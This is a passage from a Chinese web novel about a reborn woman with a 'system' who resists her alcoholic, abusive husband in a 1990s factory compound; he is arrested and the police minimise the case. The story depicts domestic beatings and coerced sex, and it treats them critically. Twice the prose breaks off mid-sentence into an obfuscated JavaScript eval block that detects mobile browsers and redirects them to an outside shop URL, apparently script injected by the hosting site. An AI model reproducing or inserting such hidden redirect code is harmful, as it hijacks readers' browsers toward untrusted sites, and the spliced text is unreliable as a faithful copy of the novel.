“是我二姨家的表妹,林薇,今年23了,我爹正让我给她物色婆家呢。”林建连忙解释。 叶强怀疑地眯起眼:“表妹?” “是是是,表妹。我二姨和二姨夫早年出意外没了,只留下一个闺女,从小就养在我们林家,跟了我们的姓。” “你做得了她的主?” “做得了主!她从小吃我们林家的饭,我们林家对她有恩,她不会有二话的。我娘没了之后,她的事儿就我来做主了!” 叶强心下了然,看来是个无父无母的孤女,亲姨妈也不在了,这事儿有准头。 不过叶强还是不放心的问了一句: “你这个表妹——人机灵吗?不憨不傻?” 林建委屈得急赤白脸:“强哥你把我想成什么人了!傻的能介绍给强哥吗!我是看强哥做事气派,真心想跟强哥成一家人!” 叶强还是不敢信:“模样齐整?” “模样您就放心吧!强哥见了就知道了,绝对带的出门儿!” 林薇就这样嫁给了叶强,林建成了叶强的大舅哥。 林薇送进了叶家的门,林建欠叶强的两万块钱自然是不用还了,叶强一个高兴,还额外给了林家两千块彩礼。 虽然这个媳妇贵了点,但叶强还是觉得自己赚了。他一个快四十岁的人,带着三个拖油瓶,能讨到一个年轻的大姑娘,模样好看,不憨不傻,可不是赚了嘛! 但很快叶强发现,这个天上掉下来的馅饼也没那么香。 首先,这林薇似乎中看不中用。叶强本来指望娶回来一个女人能操持家务,照管孩子,但林薇身子弱,干不了什么粗活,家务事几乎不管,说话声音像蚊子,根本镇不住建军建国两个皮猴子。 再一个,林薇性子也冷淡,少言少语,在家里一天说不了几句话。叶强想象的回家之后有小媳妇嘘寒问暖的场景,从来没有出现过。 叶强觉得不对劲,但又说不出有什么大问题。 家务活反正有叶梅呢——那丫头能干,也干得挺好。 至于性子冷淡——兴许是姑娘刚过门放不开,日子过久了就好了。 反正这个女人不吵不闹,不管他喝酒打牌,从没跟他顶过嘴,跟她睡觉也不拒绝。 叶强就这么劝着自己过了几个月。 前几天夜里,叶强又输了钱,喝得醉醺醺回家。睡在客厅的叶梅醒了,连忙给爸爸倒了杯热茶。而林薇照常在里屋,一声不吭,灯都没开。 叶强突然火气上来了,冲进里屋掀开被子,把林薇揍了一顿。 这是叶强第一次打林薇。 林薇被揍了也不还手,也不叫唤,就咬牙忍着,泪挤出来了都不知道。 叶强打完了人,看着林薇那眼睛通红的模样又觉得怜爱。 然后又狠狠睡了林薇一回。 第二天,叶强神清气爽去棋牌室了。 没多久,邻居跑来说林薇吸了煤气,叶强没回来,但心里想到兴许是前天打狠了,小娘们闹着脾气呢,回去得狠狠哄两下。 哪里想到,回家后林薇跟变了个人一样,敢跟他动手了。 这还是林薇吗? 叶强想不明白,自己一个大老爷们,怎么能被林薇轻易踹倒? 思来想去,叶强觉得一定是因为自己没吃饭。 等吃饱了,有了力气,他得好好教训林薇,把她揍服气了才行。 就这么想着,天已经亮了,家属院里已经有了些早起的人走动的声音。 叶强站起来,走到客厅另一边,往角落里的木板床上踹了一脚。 “起来!”叶强冲床上蜷缩着的身影喊,“都几点了,还不赶紧去做饭!” 床上的叶梅一个激灵坐起来。 屋里,林薇同时睁开眼。 7. 她是我家的人 【警告!警告!任务目标遭受语言威胁,心理健康程度-10、-20、-30】 【目前任务完成进度-4.5%、-5%、-6%…】 ? 尖锐的警告声在脑海中响起,林薇在里屋的床上,猛地睁开眼。 昨天消耗了大量体力,林薇的这一觉睡得格外沉。 这会儿却被系统警告强行叫醒,林薇怒气冲冲掀开被子杀到客厅。 客厅角落里叶梅的床已经空了,叶强翘着二郎腿在沙发上坐着。 “搞快点!老子饿了!”叶强冲厨房里喊。“别磨磨唧唧!” 厨房里,叶梅强撑着惺忪睡眼,艰难地用一只手做饭。 她先打了两瓢水倒进锅里,再试着打开灶火。 煤气灶开关本来就不好用,左手更是使不上劲,她打了好几次才点着火。 然后她搬了个小板凳踩上去,伸手去够橱柜上的面—— 林薇走过去,咔吧一下把火关了。 “你,”林薇偏头向叶梅示意,“去睡觉。” 叶梅看看客厅里的叶强,再看看熄火的灶台,不敢动。 林薇恼火地哼了一声,像拎一只鹌鹑一样,把叶梅从厨房提溜出来,直接扔进了主卧。 “关门。”林薇转身出去时说,“把耳朵捂上。” 叶强看着林薇从卧室出来,又看着她把叶梅拎出厨房关进卧室,愣是没敢吭声。 可现在林薇一步一步朝他走过来。 叶强心里莫名发怵,不自觉地从沙发上起身。 酒醒之后,看这个女人更觉得陌生。 “你、你干什么?!”叶强虚张声势地喊,“我让我闺女给我做饭,你个娘们掺和什么?” “她手受伤了,做不了饭。”林薇捏了捏手指,“我说了,你想吃自己做。” “怎么做不了!我看她好好的!”叶强叫嚷,“你这个娘们儿就是诚心跟我作对!” 林薇冷笑:“对,我就是诚心的。” “我原本指望你昨天吃了亏,能老实一阵。” “看来你还真是给脸不要脸。” 林薇一步步向叶强逼近。 林薇现在清楚了,这个叶强是叶梅成长道路上的重大阻碍,也是原主人生里的主要痛苦来源。 她要想尽快完成任务,要想这一世活得舒坦,就必须尽快解决叶强这个毒瘤。 “你、你反了你!”叶强嘴上喊得凶,身体却一步步往厨房退去。 这次他要先下手为强,不能再给林薇拿家伙的机会。 叶强退到厨房,一手指着林薇,一手摸上了铁锅的手柄:“老子今天就要告诉你,这个家里谁说了算!” 这锅竟然比叶强想象的重很多,他努嘴,奋力一抄,—— 哗啦—— 一锅冷水扬出来,把叶强从头到脚浇了个湿透。—— ’ 锅里盛着叶红刚倒进去的水。 叶强被从天而降的冷水浇懵在原地。 “哈哈哈!”林薇没忍住笑出了声。 叶强抹了一把脸上的水,又气又恼:“臭娘们,你敢笑老子!看老子今天不打死你!” 叶强骂骂咧咧地冲上来,举着一口空锅,直照着林薇呼过去。 铛!—— 林薇抬手,铁锅被巴掌拦住,发出一声重响。 “你、你……”叶强不敢相信自己的眼睛。 同样的铁锅,同样的重击,昨天他被打得龇牙咧嘴,可这女人却面不改色。 他难以置信地再次挥锅—— 铛!—— 林薇再次抬手,用一只手稳稳挡住了攻击。 叶强目瞪口呆,不自觉地后退了一步。 “我怎么了?”林薇冷冷地问,朝叶强走近了一步。 叶强后退:“你别过来!” 林薇继续向前逼近:“你不是要打我吗?” 叶强:“我——” 他已经被林薇逼到了墙根,退无可退,双手却还紧攥着那口铁锅。 林薇冷哼一声,直接上手把那口锅夺下,往旁边一扔。 铁锅哐当砸在地上,叶强打了个哆嗦,一股热流无声地从裆下流出。 什么味儿? 林薇皱眉,嫌弃的后退几步。 高老太就在这时推门而入:“林薇,你个贱蹄子!竟敢不给我大孙子吃饭!” 高老太后面还跟了几个人,是她喊来的爱传闲话的邻居——昨天叶建军跑去她那告了状,高老太特意起了个大早来找林薇理论。 平生第一次吓尿的叶强,就这么湿着□□暴露在亲妈和邻居们面前。 空气凝固了。 叶强觉得所有人都在盯着自己□□,那是他身为男人的颜面。 “看什么看!都给我滚出去!” 极度的羞耻化作暴怒,叶强彻底失去理智,他抄起墙角的鸡毛掸子,吼叫着朝林薇扑过去。 “老子今天非要打死你!” 林薇抬手抓住鸡毛掸子,轻松折断。 叶强不死心地抄起桌上的烟灰缸扔过来。 林薇侧身,顺势抬腿,准备一个飞踢把叶强撂倒。 【警告!体力值已耗尽!请尽快补充热量!】 林薇在原地晃了晃,感到一阵天旋地转。 就这个空挡,叶强去厨房抄起一根擀面杖,目露凶光朝林薇咂过来。 林薇想躲,可身子猛地一沉,双腿像灌了铅一样没法动弹。 【警告!体力值已耗尽!即将进入休眠状态!】 “别打她!” 叶梅从里屋冲出来,直接扑在林薇身上,用后背挨下了一棍。 “爸,别打了!” 叶强气得用脚踢她:“你滚开!” 【系统警告,任务目标遭受物理威胁】 不管叶强怎么踢打,叶梅都不肯从林薇身上松开。 “你这个赔钱货,老子连你也一起打!” 【任务完成度-7%、-8%、-9%……】 系统警报声吵得林薇头疼,她想让叶梅躲开,但她说不出话,连带着四肢也不听使唤,动弹不得。 见林薇不反抗,叶强气焰更盛,拿着擀面杖一阵乱打。全身像冰棍一样僵住的林薇失去平衡,滑落到地上。 “老天爷!怎么能这样打人啊!” 门口的几个邻居大妈被叶强红了眼的样子吓住,想拦又不敢上前,急得在门口吱呀乱叫。 “闪开!” 一声怒喝在门口响起,一个利落的身影拨开门口那群吓傻的大妈,大步冲进来。 “霞姨,”叶梅看见进来的人,哭喊着求救,“快救救我妈!” 林薇躺在地上,虽然动弹不得,但意识很清醒,她认出这是第一天把她唤醒的女人。 女人叫周霞,就住在隔壁。 周霞抄起门口的木凳,狠狠朝叶强咂过来。 “叶强你个畜生!连老婆孩子都往死里打,你还是个人吗!” “老子打自己的女人,你个外人别管!” 周霞的体型并不强壮,力气也不足以跟叶强抗衡,但她拼尽全力用木凳的四根腿挡住叶强,转头跟叶梅说: “去楼下小卖铺打120!” 叶梅立即起身飞奔出门。 被周霞挟制住的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347839|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶强暂时没有了还手之力,门口几个邻居大妈一窝蜂扑上来,七手八脚把他按在地上。 “轻点,轻点!”高老太在旁边干着急,“他们小夫妻吵架拌嘴,没大事,没大事!” “您老别在这里和稀泥!”周霞夺下叶强手中的擀面杖。“谁家夫妻吵架把人往死里打?” 吵嚷声吸引来了更多邻居过来,见林薇躺在地上,而叶强红着脖子喘粗气,众人瞬间明白了怎么回事。 “叶强把媳妇打晕了!” “拿那么粗擀面杖打的!不会打死了吧!” “你们别胡说!”高老太慌了,“这媳妇不懂事,叶强教训了两下,哪里就打死了!” 林薇闭着眼睛躺在地上,强撑着最后一丝意识。 有人过来试了一下她的鼻息,林薇屏住了呼吸。 “没气了!!!” 那人大惊后退,围观的邻居瞬间炸了锅。 “叶强把人打死了!” 高老太和叶强同时白了脸。 “不是我,不是我!”叶强站起来,也不顾□□还湿着,连连往门口后退。 “强子,你去哪?”几个邻居大妈堵住门口。 叶强来不及解释,警笛声已经从楼下响起。 “谁报警了?!”高老太拍着大腿绝望地嚎叫。 没人说话。 几个警察大步冲进屋,一眼就看到倒在地上的林薇,还有被众人堵住的叶强。 “怎么回事?” “警察同志,他把人打死了!” “我没有!是这个娘们先惹我的,我只是教训她——”叶强吓得语无伦次。 “拷上!” 带队的警察脸色铁青,一声令下,几个警察上去把叶强按住,反剪双手上了铐。 “她是我媳妇,我打的是自己的女人!”叶强梗着脖子喊。 “少废话!带走!” 高老太对着几个警察连连作揖:“警察同志,这女人是我们家的人,打死了我们也认了,你们别抓人啊!” “你认了?”领头的警察差点气笑,“那你也一块跟我们回局里,好好说说要怎么认。” “苍天大老爷啊!”高老太惊呼,“冤枉啊!” “让让!都让让!大夫来了!”叶梅从楼梯跑上来,带着两个急救人员冲进屋子。 医生迅速蹲下身,翻开林薇的眼皮照了照,又伸手探向她的颈动脉。 “还有生命体征。” “听到了吗!没死!”高老太上来扒拉警察,“快放开我儿子!” “人没死也是故意伤害,要是重伤,你儿子照样得进去蹲几年!” 警察押走了叶强,高老太一路喋喋不休跟下楼,警察索性把她一起带回警局做笔录。 医护人员把林薇抬上担架,众人前呼后拥跟着送到楼下的救护车上。 “妈——”叶梅看着紧闭双眼的林薇,再次哭出了声。 “好孩子,在家等着。”周霞拍了拍叶梅,匆忙跟着上了救护车。 救护车一路呼啸朝医院飞驰。 林薇的最后一丝意识尚存,虽然全身动弹不得,但不妨碍她在心里放了个烟花:叶强被警察带走了,这比原计划顺利得多。 【系统提示:任务目标物理威胁已解除】 “林薇妹子,没事了,叶强被抓走了。” 周霞的声音在她耳边响起。 “你可得挺住啊!” 周霞用一双温热厚实的手,握住林薇僵直冰冷的右手。 林薇突然感到安心。 她终于放任最后一丝意识溜走,任自己沉入那片因体力透支而带来的黑暗之中。 8. 警察、医生、三轮车 林薇做了个很长的梦。 梦里她变得很小,六七岁的模样,在老家的堂屋,奶奶拿一根鸡毛掸子抽她手心。 “贱胚子!偷吃还不承认!” 林薇张着嘴,喉咙却发不出声音,她想说那罐头不是自己偷吃的,她想让奶奶回头看看,哥哥正躲在门后面窃笑,脸上还带着没擦干净的罐头汁。 她长大了,嫁了人,蜷缩在角落试图躲避陈斌的拳脚。 血从两腿之间流出,剧痛像刀刃割着她。 她疼晕过去,醒来后躺在医院,那个尚未谋面的孩子变成了一摊形状不明的血肉。 泪水让视线模糊,但林薇看见那摊血肉变了,变成一个小女孩的形状,小女孩迅速长大,张开的双臂化成羽翼,飞向儿时的小林薇,挡住了奶奶的鸡毛掸子,挡住了陈斌冲她而来的拳脚。 “叶梅……” 林薇睁开眼,一个面目良善的陌生女人正拿块热毛巾给她擦脸。 女人微胖,圆脸,隆起的苹果肌带着高原红,五官舒展大气。林薇反应过来了:是周霞。 “好妹子,”周霞轻轻擦去她脸上的泪,“叶梅在家呢,她没事。” 林薇才意识到自己早就泪流满面。 “你刚刚一直在说胡话。”周霞的眼里全是担忧。 空气里弥漫着苏来水的味道,林薇看看身上盖的淡绿色被子——这是在医院病房。 “医生说你是低血糖休克,万幸,没伤到其他地方。” “不过警察把叶强那畜生带走了,连带着你那个婆婆也进了局子。” 林薇:“霞姐,谁报的警?” 周霞往门口瞥了一眼,压低声音:“不知道。” 林薇从这“不知道”里觉察出了周霞心里的答案。 警车比救护车先到,只能是叶梅跑去楼下打120的时候报的警, 林薇猜到了,周霞也一定猜到了,但两个人都默契地没有再说下去。 “对了,有个警察还在外面等着呢,说你醒了要问你话。” 林薇坐起来:“叫他进来吧。” 一个穿着制服的年轻警察跟着周霞走进来,板板正正地往病床前一站,像个人形立牌。 “林薇同志,我是城南派出所民警何煦。” “何警官好。” “叶强已经被我们带回局里控制住了,请详细说一下早上冲突发生的情况。” 林薇言简意赅地把早上的情况说了一遍,“他先用的锅,再用鸡毛掸子,拿烟灰缸咂,最后是擀面杖。” “所以,你是被他用擀面杖打晕的?” 林薇犹豫了一瞬:“是。” 周霞忍不住插嘴:“何警官,叶强这个人,赌博酗酒打老婆孩子不是一两天了,我们街坊邻居都知道!你们这次把他抓走,能判多久?” 何煦捏了捏手中的验伤单,似乎在思考接下来怎么说:“林薇同志,经过医生检查,你是因为低血糖晕倒的。你身上确实有几处外伤痕迹,但都是轻微伤。” “啥意思?”周霞没明白。 林薇心里一沉:“意思是,伤得不够重,他们没法管。” 周霞抬高了嗓门:“啥样才算重?非得把人打死警察才管吗?” 何煦连忙说:当然不是,我们会对叶强批评教育——” “批评教育?!”周霞霍一下站起来:“批评教育管用的话,我们直接找叶强他娘去说就行了,还用得着你们警察?” 何熙肉眼可见地紧张起来。 林薇的反应没有周霞那么大,从周霞说她低血糖的时候开始,她就预想到了警察会对这件事轻轻放过。 但她还想再争取一下。 林薇:“何警官,他这次不光打了我,还打了他未成年的女儿。你们应该把她的伤也验一下。” 何煦愣住了,他们确实以为只有林薇一个受害人。 “这不是他第一次打人,你们去棉纺厂家属院里问问就知道了,叶强长期家暴,这次更是当众打人,在外人看不见的地方,他的行为只会更过分。 他已经严重威胁到了我的人身安全。 只因为打我的那个人是我法律意义上的丈夫,你们就放任不管了?” 林薇的眼睛黑白分明,她看着何煦:“你们警察不应该保护人民群众吗?结了婚的人民就不算人了吗?” 何煦感觉这案子相当棘手,林薇说得句句在理,只可惜他不是这个案子的主办人。 何熙只是警校大四学生,今天是他在城南派出所见习的第一天。早上他刚办完报道手续,带教警官赵东海就带着他出警了。 报警人说得挺严重,他们到现场一看,是男人打女人,女人似乎没了气。赵东海初步判断是个命案,至少也是个重伤。 他们迅速跟围观的群众了解了一下情况,把情况搞明白了:男人长期酗酒赌博,这次似乎是发酒疯,当着众人的面把老婆打得晕死了过去。 知道了两个人是夫妻关系,赵东海的心放下了一半——至少案情简单了许多。 女人生死不明,他们就先把男的押回派出所审问。赵东海让何煦跟着救护车去医院。 医生把各项检查都给林薇做了个遍,最后的诊断结果是低血糖休克——跟挨打没关系。 何煦拿着诊断结果傻了眼,只能给赵东海打了个电话请示。 “嗐,虚惊一场。”辖区内险些闹出人命,赵东海心里正堵,一听检查结果,他的另一半心也彻底放了下来——连后续处罚都免了。 “那你等人醒了象征性地问问情况,安抚一下,就说我们会批评她丈夫,两个人以后好好过日子。” “就这?”何煦没懂。 “你还想怎么样?”赵东海觉得这新来的小伙子真是个榆木脑袋,“人两口子打架,又没闹出人命,只是个轻微伤,你不能真把她男人关起来。” “轻微伤也能拘留几天啊,师父。” “拘留几天,然后呢?把他放出去,那女人还不是要跟男人继续过日子?” 何煦不说话了。 念在何煦是个初出茅庐的大学生,赵东海又语重心长地点拨了几句: "夫妻之间,床头打架床尾和,本来睡一觉就能解决的事儿,我们非得小题大做把人关起来,这不成了破坏人家的夫妻感情吗!你还小,不懂这些道理。" “小何,我是看在你叫我一声师父的份儿上才跟你说这些,”赵东海继续语重心长,“你要学的还有很多啊!” “师父,我知道了。” 何煦挂了电话,回病房门口等林薇醒。 何煦虽然没被赵东海说服,但他知道轻重——总不能在实习第一天就跟带教老师起冲突。赵东海是老警察了,办案经验丰富,又是案件的主办警官,他说这案子该怎么处理,就只能怎么处理。 可现在,面对林薇那双黑白分明的眼睛,他突然为自己刚刚的妥协而惭愧。 何煦正色:“同志请放心,保护群众的人身安全是我们的责任,我们一定会对案件做出妥善处理。” 周霞还是有些不放心:“何警官,如果你们这次不让叶强长个记性,他以后只怕会更无法无天啊!” 何煦的神色愈发严肃:“明白。” 他要立即回派出所,找赵东海说明情况。 一个穿白大褂的女医生及时走进病房,解救了羞愧难当的何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347840|199561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煦。 医生掏出听诊器在林薇胸前听了听:“感觉怎么样?” “感觉很饿。”林薇老老实实回答,她精神恢复了,身上的力量也回来了,只是感觉饥肠辘辘。 “输完这瓶葡萄糖就可以走了。你身体各项指标都正常,只是太瘦了。” 医生把被子的一角掀起,让林薇露出手臂,上手捏了捏。 林薇以为她要检查输液针,但医生突然卷起自己的袖子。 “这是我的胳膊,这是你的。”医生把露出的小臂放在林薇的胳膊旁边,“你自己看。” 女医生的前臂粗壮结实,肌肉线条隆起,皮下浮起的血管青筋根根分明。林薇有些讶异地看向医生,她没戴口罩,应该不过三十来岁,留着短发,金丝框架眼镜下的目光非常锐利。 “多吃肉蛋奶,吃饱。”女医生深深看了林薇一眼,“有力气了,才能保护自己。” “医生说的对!”周霞深以为然,“林薇妹子,叶强就是欺负你柔弱,我男人从来不敢跟我动粗,因为他知道打不过我!下次叶强再敢打你,你就喊我帮你打回去!” 林薇很想告诉周霞,自己现在有打架不输的天赋,如果不是体力告急,她一个人打趴十个叶强都没问题。 不过动用这天赋需要的体力也实在超出她想象,林薇下定决心以后要把补充热量放到第一优先级。 医生说得没毛病,有力气了才能保护自己。 “谢谢姜医生。”林薇扫到了女医生的胸牌,她叫姜蕾。 护士过来给林薇起针,医生没再多说,开了出院单就放林薇走了。 何煦陪着林薇和周霞走出医院,本想发扬一下为人民服务的精神,把两个人送回棉纺厂家属院,但随即反应过来—— “那个…”何煦有些窘迫地说,“我也是跟救护车来的……” “没事,何警官。”周霞大气地摆摆手,“我俩搭个三轮回去,你赶快回局里,一定要好好处置叶强!” 医院门口有几辆正等着拉客的人力三轮车,周霞朝其中一辆招招手,那师傅立即把车子蹬过来。 “师傅,去棉纺厂家属院。”周霞说。 “两块。” “太贵了,一块。”周霞讨价。 “上车。”师傅了眼穿制服的何煦,没再还价。 周霞掀开后车棚的旧帆布帘子,带着林薇钻进逼仄的车厢,在硬邦邦的木板座上挨着坐下。 “坐稳当,走咯。”蹬三轮的师傅喊了一声,车子缓缓向前驶去。 “何警官再见!” 何煦觉得搭三轮是个好主意,他先目送载着林薇周霞的车子走远,转头又叫了一辆三轮车,自己坐了上去——他总不能跑步回所里。 坐上三轮车的林薇感觉新奇。她想到上一世的小时候,过年父母回家,带了她和哥哥去县里。她第一次在县城的大街上看到了这种载客三轮,骑车的人在前面,后面拖着个带棚子的车斗,棚子都罩着帆布,或者软塑料帘子,有的还挂着棉门帘。坐车的人一招手,就掀开门帘坐进去,风吹不着,雨淋不着。 那天林薇父母没舍得打三轮,说太贵。林薇回到乡下,从此种下了要坐一次三轮车的愿望。但几年后她再去到县城,载客三轮这种东西就消失了。 林薇把帆布帘子掀开一半,看向外头不断后退的街景。 外头是九十年代初灰扑扑的街道,裹着军大衣骑二八大杠的行人、招牌斑驳的供销社、支了个棚子的修车摊、修鞋摊、录像厅、台球厅…… 周霞见她出神了很久,忍不住问:“妹子,你看啥呢?” 林薇突然一把抓住周霞,两眼放光:“霞姐,那是什么?”